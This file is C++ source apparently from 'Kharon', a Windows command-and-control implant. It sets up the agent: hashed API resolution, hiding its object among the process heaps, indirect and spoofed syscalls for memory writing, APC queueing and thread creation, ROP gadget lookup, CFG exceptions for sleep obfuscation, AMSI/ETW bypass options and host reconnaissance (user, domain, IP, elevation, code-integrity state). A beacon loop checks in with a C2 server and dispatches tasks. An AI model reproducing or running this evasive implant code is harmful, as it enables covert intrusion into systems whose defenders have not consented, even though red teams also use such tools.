#include <Kharon.h>

using namespace Root;

inline void* operator new(size_t, void* p) { return p; }
inline void operator delete(void*, void*) noexcept {}  

EXTERN_C DECLFN auto Main(
    _In_ UPTR Argument
) -> VOID {
    /* ========= [ check guardrails ] ========= */
    if ( Guardrails() ) {
        return;
    }

    PEB* peb = NtCurrentPeb();

    auto AllocHeap = (PVOID (*)( PVOID, ULONG, SIZE_T ))LdrLoad::_Api( 
        LdrLoad::Module( Hsh::Str<CHAR>( "ntdll.dll" ) ), 
        Hsh::Str<CHAR>( "RtlAllocateHeap" ) 
    );

    auto RtlCreateHeap = (PVOID(*)(ULONG, PVOID, SIZE_T, SIZE_T, PVOID, PVOID))LdrLoad::_Api(
        LdrLoad::Module(Hsh::Str<CHAR>("ntdll.dll")), 
        Hsh::Str<CHAR>("RtlCreateHeap")
    );
    
    PVOID CustomHeap = RtlCreateHeap(
        HEAP_GROWABLE | HEAP_ZERO_MEMORY,
        nullptr,
        0x100000,  // 1MB
        0,
        nullptr,
        nullptr
    );

    Kharon* Kh = (Kharon*)AllocHeap( CustomHeap, HEAP_ZERO_MEMORY, sizeof( Kharon ) ); new (Kh) Kharon();
    
    if (peb->NumberOfHeaps >= peb->MaximumNumberOfHeaps) {
        ULONG newMax = peb->MaximumNumberOfHeaps * 2;
        
        PVOID* newHeaps = (PVOID*)AllocHeap(
            peb->ProcessHeap, 
            HEAP_ZERO_MEMORY, 
            newMax * sizeof(PVOID)
        );

        Mem::Copy( newHeaps, peb->ProcessHeaps, peb->NumberOfHeaps * sizeof(PVOID) );
        
        peb->ProcessHeaps = newHeaps;
        peb->MaximumNumberOfHeaps = newMax;
    }

    peb->ProcessHeaps[peb->NumberOfHeaps] = Kh;
    peb->NumberOfHeaps++;

    Crypt*     KhCrypt   = (Crypt*)    AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Crypt));     new (KhCrypt) Crypt(Kh);
    Spoof*     KhSpoof   = (Spoof*)    AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Spoof));     new (KhSpoof) Spoof(Kh);
    Coff*      KhCoff    = (Coff*)     AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Coff));      new (KhCoff) Coff(Kh);
    Syscall*   KhSyscall = (Syscall*)  AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Syscall));   new (KhSyscall) Syscall(Kh);
    Jobs*      KhJobs    = (Jobs*)     AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Jobs));      new (KhJobs) Jobs(Kh);
    Useful*    KhUseful  = (Useful*)   AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Useful));    new (KhUseful) Useful(Kh);
    Library*   KhLibrary = (Library*)  AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Library));   new (KhLibrary) Library(Kh);
    Token*     KhToken   = (Token*)    AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Token));     new (KhToken) Token(Kh);
    Heap*      KhHeap    = (Heap*)     AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Heap));      new (KhHeap) Heap(Kh);
    Process*   KhProcess = (Process*)  AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Process));   new (KhProcess) Process(Kh);
    Memory*    KhMemory  = (Memory*)   AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Memory));    new (KhMemory) Memory(Kh);
    Thread*    KhThread  = (Thread*)   AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Thread));    new (KhThread) Thread(Kh);
    Task*      KhTask    = (Task*)     AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Task));      new (KhTask) Task(Kh);
    Transport* KhTransport = (Transport*)AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Transport));new (KhTransport) Transport(Kh);
    Package*   KhPackage = (Package*)  AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Package));   new (KhPackage) Package(Kh);
    Parser*    KhParser  = (Parser*)   AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Parser));    new (KhParser) Parser(Kh);
    Mask*      KhMask    = (Mask*)     AllocHeap(CustomHeap, HEAP_ZERO_MEMORY, sizeof(Mask));      new (KhMask) Mask(Kh);

    Kh->InitCrypt( KhCrypt );
    Kh->InitSpoof( KhSpoof );
    Kh->InitCoff( KhCoff );
    Kh->InitMemory( KhMemory );
    Kh->InitSyscall( KhSyscall );
    Kh->InitJobs( KhJobs );
    Kh->InitUseful( KhUseful );
    Kh->InitHeap( KhHeap );
    Kh->InitLibrary( KhLibrary );
    Kh->InitToken( KhToken );
    Kh->InitMask( KhMask );
    Kh->InitProcess( KhProcess );
    Kh->InitTask( KhTask );
    Kh->InitTransport( KhTransport );
    Kh->InitThread( KhThread );
    Kh->InitPackage( KhPackage );
    Kh->InitParser( KhParser );

    Kh->Init();

    Kh->Start( Argument );

    return;
}

DECLFN Kharon::Kharon( VOID ) {
    if ( this->Session.Base.Start ) return;

    /* ========= [ get base ] ========= */
    this->Session.Base.Start  = StartPtr();
    this->Session.Base.Length = ( EndPtr() - this->Session.Base.Start );

    /* ========= [ init modules and funcs ] ========= */
    this->Krnl32.Handle   = LdrLoad::Module( Hsh::Str<CHAR>( "kernel32.dll" ) );
    this->KrnlBase.Handle = LdrLoad::Module( Hsh::Str<CHAR>( "kernelbase.dll" ) );
    this->Ntdll.Handle    = LdrLoad::Module( Hsh::Str<CHAR>( "ntdll.dll" ) );

    RSL_IMP( Ntdll  );
    RSL_IMP( Krnl32 );
    RSL_IMP( KrnlBase );
}

auto DECLFN Kharon::Init(
    VOID
) -> void {
    /* ========= [ get config ] ========= */
    KHARON_CONFIG Cfg = { 0 };

    GetConfig( &Cfg );

    this->Session.AgentID = Cfg.AgentId;
    this->Config          = Cfg;

    /* ========= [ init modules and funcs ] ========= */
    this->Advapi32.Handle  = LdrLoad::Module( Hsh::Str<CHAR>( "advapi32.dll" ) );
    this->Wininet.Handle   = LdrLoad::Module( Hsh::Str<CHAR>( "wininet.dll" ) );
    this->Cryptbase.Handle = LdrLoad::Module( Hsh::Str<CHAR>( "cryptbase.dll" ) );
    this->Ws2_32.Handle    = LdrLoad::Module( Hsh::Str<CHAR>( "ws2_32.dll" ) );
    this->Msvcrt.Handle    = LdrLoad::Module( Hsh::Str<CHAR>( "msvcrt.dll" ) );
    this->Iphlpapi.Handle  = LdrLoad::Module( Hsh::Str<CHAR>( "iphlpapi.dll" ) );

    /* ========= [ calculate stack for spoof ] ========= */
    this->Spf->Setup.First.Size  = this->Spf->StackSizeWrapper( this->Spf->Setup.First.Ptr );
    this->Spf->Setup.Second.Size = this->Spf->StackSizeWrapper( this->Spf->Setup.Second.Ptr );

    if ( ! this->Advapi32.Handle  ) this->Advapi32.Handle  = this->Lib->Load( "advapi32.dll"  );
    if ( ! this->Wininet.Handle   ) this->Wininet.Handle   = this->Lib->Load( "wininet.dll"   );
    if ( ! this->Cryptbase.Handle ) this->Cryptbase.Handle = this->Lib->Load( "cryptbase.dll" );
    if ( ! this->Ws2_32.Handle    ) this->Ws2_32.Handle    = this->Lib->Load( "ws2_32.dll"    );
    if ( ! this->Msvcrt.Handle    ) this->Msvcrt.Handle    = this->Lib->Load( "msvcrt.dll"    );
    if ( ! this->Iphlpapi.Handle  ) this->Iphlpapi.Handle  = this->Lib->Load( "iphlpapi.dll"  );

    RSL_IMP( Msvcrt    );
    RSL_IMP( Advapi32  );
    RSL_IMP( Wininet   );
    RSL_IMP( Cryptbase );
    RSL_IMP( Ws2_32    );
    RSL_IMP( Iphlpapi  );

    this->Ntdll.khRtlFillMemory = ( decltype( this->Ntdll.khRtlFillMemory ) )LdrLoad::_Api( this->Ntdll.Handle, Hsh::Str<CHAR>( "RtlFillMemory" ) );
    this->Krnl32.InitializeProcThreadAttributeList = ( decltype( this->Krnl32.InitializeProcThreadAttributeList ) )this->Krnl32.GetProcAddress( (HMODULE)this->Krnl32.Handle, "InitializeProcThreadAttributeList" );
    this->Krnl32.UpdateProcThreadAttribute         = ( decltype( this->Krnl32.UpdateProcThreadAttribute ) )this->Krnl32.GetProcAddress( (HMODULE)this->Krnl32.Handle, "UpdateProcThreadAttribute" );
    this->Krnl32.DeleteProcThreadAttributeList     = ( decltype( this->Krnl32.DeleteProcThreadAttributeList ) )this->Krnl32.GetProcAddress( (HMODULE)this->Krnl32.Handle, "DeleteProcThreadAttributeList" );
    this->Msvcrt.k_swprintf  = ( decltype( this->Msvcrt.k_swprintf ) )this->Krnl32.GetProcAddress( (HMODULE)this->Msvcrt.Handle, "swprintf" );
    this->Msvcrt.k_vscwprintf = ( decltype( this->Msvcrt.k_vscwprintf ) )this->Krnl32.GetProcAddress( (HMODULE)this->Msvcrt.Handle, "_vscwprintf" );
    this->Msvcrt.k_vswprintf = ( decltype( this->Msvcrt.k_vswprintf ) )this->Krnl32.GetProcAddress( (HMODULE)this->Msvcrt.Handle, "_vsnwprintf" );

    KhDbgz( "Library kernel32.dll  Loaded at %p and Functions Resolveds", this->Krnl32.Handle    );
    KhDbgz( "Library ntdll.dll     Loaded at %p and Functions Resolveds", this->Ntdll.Handle     );
    KhDbgz( "Library advapi32.dll  Loaded at %p and Functions Resolveds", this->Advapi32.Handle  );
    KhDbgz( "Library wininet.dll   Loaded at %p and Functions Resolveds", this->Wininet.Handle   );
    KhDbgz( "Library cryptbase.dll Loaded at %p and Functions Resolveds", this->Cryptbase.Handle );
    KhDbgz( "Library ws2_32.dll    Loaded at %p and Functions Resolveds", this->Ws2_32.Handle    );
    KhDbgz( "Library msvcrt.dll    Loaded at %p and Functions Resolveds", this->Msvcrt.Handle    );
    KhDbgz( "Library iphlpapi.dll  Loaded at %p and Functions Resolveds", this->Iphlpapi.Handle  );

    this->Config.Mask.NtContinueGadget = ( LdrLoad::_Api( this->Ntdll.Handle, Hsh::Str( "LdrInitializeThunk" ) ) + 19 );
    this->Config.Mask.JmpGadget        = this->Usf->FindGadget( this->Ntdll.Handle, 0x23 );

    if ( ! this->Config.Mask.NtContinueGadget ) {
        KhDbgz("dont was possible found the NtContinue gadget, using NtContinue address\n");
        this->Config.Mask.NtContinueGadget = (UPTR)this->Ntdll.NtContinue;
    }

    /* ========= [ cfg exceptions to sleep obf ] ========= */
    if ( this->Machine.CfgEnabled = this->Usf->CfgCheck() ) {
        this->Usf->CfgAddrAdd( (PVOID)this->Ntdll.Handle, (PVOID)this->Config.Mask.JmpGadget );
        this->Usf->CfgAddrAdd( (PVOID)this->Ntdll.Handle, (PVOID)this->Ntdll.NtSetContextThread );
        this->Usf->CfgAddrAdd( (PVOID)this->Ntdll.Handle, (PVOID)this->Ntdll.NtGetContextThread );
        this->Usf->CfgAddrAdd( (PVOID)this->Ntdll.Handle, (PVOID)this->Ntdll.NtWaitForSingleObject );
        this->Usf->CfgAddrAdd( (PVOID)this->Krnl32.Handle, (PVOID)this->Krnl32.WaitForSingleObjectEx );
        this->Usf->CfgAddrAdd( (PVOID)this->Krnl32.Handle, (PVOID)this->Krnl32.VirtualProtect );
        this->Usf->CfgAddrAdd( (PVOID)this->Krnl32.Handle, (PVOID)this->Krnl32.SetEvent );
        this->Usf->CfgAddrAdd( (PVOID)this->Cryptbase.Handle, (PVOID)this->Cryptbase.SystemFunction040 );
        this->Usf->CfgAddrAdd( (PVOID)this->Cryptbase.Handle, (PVOID)this->Cryptbase.SystemFunction041 );
    }

    /* ========= [ syscalls setup ] ========= */
    this->Sys->Ext[Sys::Alloc].Address       = U_PTR( this->Ntdll.NtAllocateVirtualMemory );
    this->Sys->Ext[Sys::Write].Address       = U_PTR( this->Ntdll.NtWriteVirtualMemory );
    this->Sys->Ext[Sys::OpenProc].Address    = U_PTR( this->Ntdll.NtOpenProcess );
    this->Sys->Ext[Sys::OpenThrd].Address    = U_PTR( this->Ntdll.NtOpenThread );
    this->Sys->Ext[Sys::QueueApc].Address    = U_PTR( this->Ntdll.NtQueueApcThread );
    this->Sys->Ext[Sys::Protect].Address     = U_PTR( this->Ntdll.NtProtectVirtualMemory );
    this->Sys->Ext[Sys::CrThread].Address    = U_PTR( this->Ntdll.NtCreateThreadEx );
    this->Sys->Ext[Sys::CrSectn].Address     = U_PTR( this->Ntdll.NtCreateSection );
    this->Sys->Ext[Sys::MapView].Address     = U_PTR( this->Ntdll.NtMapViewOfSection );
    this->Sys->Ext[Sys::Read].Address        = U_PTR( this->Ntdll.NtReadVirtualMemory );
    this->Sys->Ext[Sys::Free].Address        = U_PTR( this->Ntdll.NtFreeVirtualMemory );
    this->Sys->Ext[Sys::GetCtxThrd].Address  = U_PTR( this->Ntdll.NtGetContextThread );
    this->Sys->Ext[Sys::SetCtxThrd].Address  = U_PTR( this->Ntdll.NtSetContextThread );
    this->Sys->Ext[Sys::OpenPrToken].Address = U_PTR( this->Ntdll.NtOpenThreadTokenEx );
    this->Sys->Ext[Sys::OpenThToken].Address = U_PTR( this->Ntdll.NtOpenProcessTokenEx );
    
    for ( INT i = 0; i < Sys::Last; i++ ) {
        this->Sys->Fetch( i );
    }

    /* ========= [ key generation to xor heap and package ] ========= */
    for ( INT i = 0; i < sizeof( this->Crp->LokKey ); i++ ) {
        this->Crp->LokKey[i] = (BYTE)Rnd32();
        KhDbgz("key: 0x%x", this->Crp->LokKey[i]);
    }

    for (int i = 0; i < sizeof(this->Crp->XorKey); i++) {
        this->Crp->XorKey[i] = this->Crp->LokKey[sizeof(this->Crp->LokKey) - 1 - i];
    }

    /* ========= [ informations collection ] ========= */
    CHAR   cProcessorName[MAX_PATH] = { 0 };

    BOOL   IsWow64      = FALSE;
    ULONG  TmpVal       = 0;
    ULONG  TokenInfoLen = 0;
    HANDLE TokenHandle  = nullptr;
    BOOL   Success      = FALSE;
    HKEY   KeyHandle    = nullptr;

    ULONG  ProcBufferSize    = sizeof( cProcessorName );
    PCHAR  cProcessorNameReg = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0";

    SYSTEM_INFO     SysInfo   = { 0 };
    MEMORYSTATUSEX  MemInfoEx = { 0 };
    TOKEN_ELEVATION Elevation = { 0 };

    PROCESS_EXTENDED_BASIC_INFORMATION PsBasicInfoEx = { 0 };

    MemInfoEx.dwLength = sizeof( MEMORYSTATUSEX );

    this->Machine.OsMjrV  = NtCurrentPeb()->OSMajorVersion;
    this->Machine.OsMnrV  = NtCurrentPeb()->OSMinorVersion;
    this->Machine.OsBuild = NtCurrentPeb()->OSBuildNumber;

    this->Ntdll.NtQueryInformationProcess( 
        NtCurrentProcess(), ProcessBasicInformation, 
        &PsBasicInfoEx, sizeof( PsBasicInfoEx ), nullptr 
    );

    this->Krnl32.GlobalMemoryStatusEx( &MemInfoEx );
    this->Krnl32.GetNativeSystemInfo( &SysInfo );

    this->Machine.AllocGran = SysInfo.dwAllocationGranularity;
    this->Machine.PageSize  = SysInfo.dwPageSize;

    this->Krnl32.IsWow64Process( NtCurrentProcess(), &IsWow64 );

    if ( IsWow64 ) {
        this->Session.ProcessArch = 0x86;
    } else {
        this->Session.ProcessArch = 0x64;
    }

	if ( 
		SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || 
		SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64
	) {
		this->Machine.OsArch = 0x64;
	} else {
		this->Machine.OsArch = 0x86;
	}

    this->Machine.ProcessorsNbr = SysInfo.dwNumberOfProcessors;

    this->Session.ProcessID = HandleToUlong( NtCurrentTeb()->ClientId.UniqueProcess );
    this->Session.ThreadID  = HandleToUlong( NtCurrentTeb()->ClientId.UniqueThread );
    this->Session.ParentID  = HandleToUlong( PsBasicInfoEx.BasicInfo.InheritedFromUniqueProcessId );

    this->Session.ImagePath   = A_PTR( this->Hp->Alloc( MAX_PATH ) );
    this->Session.CommandLine = A_PTR( this->Hp->Alloc( MAX_PATH ) );

    Str::WCharToChar( this->Session.ImagePath, PsBasicInfoEx.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, Str::LengthW( PsBasicInfoEx.PebBaseAddress->ProcessParameters->ImagePathName.Buffer ) + 1 );
    Str::WCharToChar( this->Session.CommandLine, PsBasicInfoEx.PebBaseAddress->ProcessParameters->CommandLine.Buffer, Str::LengthW( PsBasicInfoEx.PebBaseAddress->ProcessParameters->CommandLine.Buffer ) + 1 );

    Success = this->Advapi32.OpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &TokenHandle );
    Success = this->Advapi32.GetTokenInformation( TokenHandle, TokenElevation, &Elevation, sizeof( Elevation ), &TokenInfoLen );

    this->Machine.TotalRAM   = ( MemInfoEx.ullTotalPhys / ( 1024*1024 ) );
    this->Machine.AvalRAM    = ( MemInfoEx.ullAvailPhys / ( 1024*1024 ) );
    this->Machine.UsedRAM    = ( ( MemInfoEx.ullTotalPhys / ( 1024*1024 ) ) - ( MemInfoEx.ullAvailPhys / ( 1024*1024 ) ) );;
    this->Machine.PercentRAM = MemInfoEx.dwMemoryLoad;

    this->Session.Elevated = Elevation.TokenIsElevated;

    Success = this->Krnl32.GetComputerNameExA( ComputerNameDnsHostname, nullptr, &TmpVal );
    if ( ! Success ) {
        this->Machine.CompName = (PCHAR)this->Hp->Alloc( TmpVal );
        this->Krnl32.GetComputerNameExA( ComputerNameDnsHostname, this->Machine.CompName, &TmpVal );
    }

    Success = this->Krnl32.GetComputerNameExA( ComputerNameDnsDomain, nullptr, &TmpVal );
    if ( ! Success ) {
        this->Machine.DomName = (PCHAR)this->Hp->Alloc( TmpVal );
        this->Krnl32.GetComputerNameExA( ComputerNameDnsDomain, this->Machine.DomName, &TmpVal );
    }

    Success = this->Krnl32.GetComputerNameExA( ComputerNameNetBIOS, nullptr, &TmpVal );
    if ( ! Success ) {
        this->Machine.NetBios = (PCHAR)this->Hp->Alloc( TmpVal );
        this->Krnl32.GetComputerNameExA( ComputerNameNetBIOS, A_PTR( this->Machine.NetBios ), &TmpVal );
    }

    IN_ADDR          IpObject   = { 0 };
    ULONG            AdapterLen = 0;
    PVOID            Terminator = nullptr;
    IP_ADAPTER_INFO* Adapter    = { nullptr };

    this->Iphlpapi.GetAdaptersInfo( nullptr, &AdapterLen );
    Adapter = (IP_ADAPTER_INFO*)this->Hp->Alloc( AdapterLen );
    if ( Adapter ) {
        if ( this->Iphlpapi.GetAdaptersInfo( Adapter, &AdapterLen ) == NO_ERROR ) {
            IP_ADAPTER_INFO* CurrentAdapter = Adapter;

            while ( CurrentAdapter ) {
                if ( CurrentAdapter->IpAddressList.IpAddress.String[0] != '\0' ) {
                    if ( this->Ntdll.RtlIpv4StringToAddressA( CurrentAdapter->IpAddressList.IpAddress.String, FALSE, (PCHAR*)&Terminator, &IpObject ) == STATUS_SUCCESS ) {
                        this->Machine.IpAddress = IpObject.S_un.S_addr;
                        break;
                    }
                }

                CurrentAdapter = CurrentAdapter->Next;
            }
        }

        this->Hp->Free( Adapter );
    }

    TmpVal = 0;
    if ( !this->Advapi32.GetUserNameA( nullptr, &TmpVal ) && KhGetError == ERROR_INSUFFICIENT_BUFFER ) {
        this->Machine.UserName = (PCHAR)this->Hp->Alloc( TmpVal );
        if ( !this->Advapi32.GetUserNameA( this->Machine.UserName, &TmpVal ) ) {
            this->Hp->Free( this->Machine.UserName );
            this->Machine.UserName = nullptr;
        }
    }
    
    this->Advapi32.RegOpenKeyExA( 
        HKEY_LOCAL_MACHINE, cProcessorNameReg,
        0, KEY_READ, &KeyHandle
    );

    this->Advapi32.RegQueryValueExA(
        KeyHandle, "ProcessorNameString", nullptr, nullptr,
        B_PTR( cProcessorName ), &ProcBufferSize
    );

    this->Machine.ProcessorName = (PCHAR)this->Hp->Alloc( ProcBufferSize );
    Mem::Copy( this->Machine.ProcessorName, cProcessorName, ProcBufferSize );

    KhDbgz( "======== Session Informations ========" );
    KhDbgz( "Agent UUID: %s", this->Session.AgentID );
    KhDbgz( "Image Path: %s", this->Session.ImagePath );
    KhDbgz( "Command Line: %s", this->Session.CommandLine );
    KhDbgz( "Process ID: %d", this->Session.ProcessID );
    KhDbgz( "Parent ID: %d", this->Session.ParentID );
    KhDbgz( "Sleep Time: %d", this->Config.SleepTime );
    KhDbgz( "Jitter Time: %d\n", this->Config.Jitter );

    KhDbgz( "Encryption Key[16] = "
        "[0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] [0x%X] \n", 
        this->Crp->LokKey[0],  this->Crp->LokKey[1],  this->Crp->LokKey[2],  this->Crp->LokKey[0], 
        this->Crp->LokKey[3],  this->Crp->LokKey[4],  this->Crp->LokKey[5],  this->Crp->LokKey[0], 
        this->Crp->LokKey[6],  this->Crp->LokKey[7],  this->Crp->LokKey[8],  this->Crp->LokKey[0], 
        this->Crp->LokKey[9],  this->Crp->LokKey[10], this->Crp->LokKey[11], this->Crp->LokKey[12], 
        this->Crp->LokKey[13], this->Crp->LokKey[14], this->Crp->LokKey[15]
    );

    KhDbgz( "======== Machine Informations ========" );
    KhDbgz( "User Name: %s", this->Machine.UserName );
    KhDbgz( "Computer Name: %s", this->Machine.CompName );
    KhDbgz( "Domain Name: %s", this->Machine.DomName );
    KhDbgz( "NETBIOS: %s", this->Machine.NetBios );
    KhDbgz( "Processor Name: %s", this->Machine.ProcessorName );
    KhDbgz( "Total RAM: %d", this->Machine.TotalRAM );
    KhDbgz( "Aval RAM: %d", this->Machine.AvalRAM );
    KhDbgz( "Used RAM: %d", this->Machine.UsedRAM );
    KhDbgz( "Win Version: %d.%d.%d", this->Machine.OsMjrV, this->Machine.OsMnrV, this->Machine.OsBuild);
    
    SYSTEM_CODEINTEGRITY_INFORMATION CodeIntegrityInfo = { 0 };
    CodeIntegrityInfo.Length = sizeof(CodeIntegrityInfo);

    if ( NT_SUCCESS( this->Ntdll.NtQuerySystemInformation( 
        SystemCodeIntegrityInformation, &CodeIntegrityInfo, sizeof(CodeIntegrityInfo), nullptr ) ) 
    ) {
        this->Machine.HvciEnabled = (CodeIntegrityInfo.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED) != 0;
        this->Machine.DseEnabled = (CodeIntegrityInfo.CodeIntegrityOptions & CODEINTEGRITY_OPTION_ENABLED) != 0 && (CodeIntegrityInfo.CodeIntegrityOptions & CODEINTEGRITY_OPTION_TESTSIGN) == 0;
        this->Machine.TestSigningEnabled = (CodeIntegrityInfo.CodeIntegrityOptions & CODEINTEGRITY_OPTION_TESTSIGN) != 0;
        this->Machine.DebugModeEnabled = (CodeIntegrityInfo.CodeIntegrityOptions & CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED) != 0;
    }

    SYSTEM_SECUREBOOT_INFORMATION SecureBootInfo = { 0 };

    if ( NT_SUCCESS( this->Ntdll.NtQuerySystemInformation( 
        SystemSecureBootInformation, &SecureBootInfo, sizeof(SecureBootInfo), nullptr ) ) 
    ) {
        this->Machine.SecureBootEnabled = SecureBootInfo.SecureBootEnabled;
    }
        
    KhDbgz( "HVCI Enabled: %s", this->Machine.HvciEnabled ? "Yes" : "No" );
    KhDbgz( "DSE Enabled: %s\n", this->Machine.DseEnabled ? "Yes" : "No" );

    KhDbgz( "======== Transport Informations ========" );
    KhDbgz("profile c2: %X", PROFILE_C2);

    KhDbgz("======== Evasion Settings ========");
    KhDbgz("Bypass      : %s", 
        this->Config.AmsiEtwBypass == 0x000 ? "None" :
        this->Config.AmsiEtwBypass == 0x100 ? "All"  :
        this->Config.AmsiEtwBypass == 0x700 ? "AMSI" :
        this->Config.AmsiEtwBypass == 0x400 ? "ETW"  : "Unknown"
    );
    KhDbgz("BOF Proxy  : %s", this->Config.BofProxy         ? "Enabled" : "Disabled");
    KhDbgz("Mask Heap  : %s", this->Config.Mask.Heap        ? "Enabled" : "Disabled");
    KhDbgz("Mask Beacon: %s", 
        this->Config.Mask.Beacon == eMask::Timer ? "Timer" : 
        this->Config.Mask.Beacon == eMask::None  ? "None"  : "Unknown"
    );
    KhDbgz("Syscall: %s", 
        this->Config.Syscall == SYSCALL_SPOOF_INDIRECT ? "Spoof + Indirect" :
        this->Config.Syscall == SYSCALL_SPOOF          ? "Spoof"            :
        this->Config.Syscall == SYSCALL_NONE           ? "None"             : "Unknown"
    );
    KhDbgz("Spawnto: %S\n", this->Config.Postex.Spawnto);

    KhDbgz("======== Guardrails Settings ========");
    KhDbgz("User   Name: %s", this->Config.Guardrails.UserName);
    KhDbgz("Host   Name: %s", this->Config.Guardrails.HostName);
    KhDbgz("Domain Name: %s", this->Config.Guardrails.DomainName);
    KhDbgz("IpAddress: %s\n", this->Config.Guardrails.IpAddress);

    KhDbgz("======== WorkTime Settings ========");
    KhDbgz("WorkTime Check: %s", this->Config.Worktime.Enabled ? "Enabled" : "Disabled");
    KhDbgz("WorkTime Start: %d:%d", this->Config.Worktime.StartHour, this->Config.Worktime.StartMin);
    KhDbgz("WorkTime End  : %d:%d\n,", this->Config.Worktime.EndHour, this->Config.Worktime.EndMin);

    KhDbgz("======== Killdate Settings ========");
    KhDbgz("Killdate Check: %s", this->Config.KillDate.Enabled ? "Enabled" : "Disabled");
    KhDbgz("Killdate Date : %d/%d/%d", this->Config.KillDate.Month, this->Config.KillDate.Day, this->Config.KillDate.Year);
    KhDbgz("Killdate Exit : %s", this->Config.KillDate.ExitProc ? "Process" : "Thread");
    KhDbgz("Killdate Self Delete: %s\n", this->Config.KillDate.SelfDelete ? "Enabled" : "Disabled");

    KhDbgz("======== Chunk Size Settings ========");
    KhDbgz("Chunk Size: %d\n", this->Config.ChunkSize);    

    KhDbgz( "Collected informations and setup agent\n" );

    return;
}

auto DECLFN Kharon::Start( 
    _In_ UPTR Argument 
) -> VOID {
    KhDbgz( "Initializing the principal routine" );

    //
    // do checkin routine (request + validate connection)
    //
    this->Tsp->Checkin();

    do {            
        //
        // use the wrapper sleep function to run the 
        //
        this->Mk->Main( this->Config.SleepTime );

        //
        // kill date check and perform routine
        //
        this->Usf->CheckKillDate();
   
        if ( ! this->Usf->CheckWorktime() ) {
            continue;
        }
        
        //
        // start the dispatcher task routine
        //
        this->Tsk->Dispatcher();
    } while( 1 );
}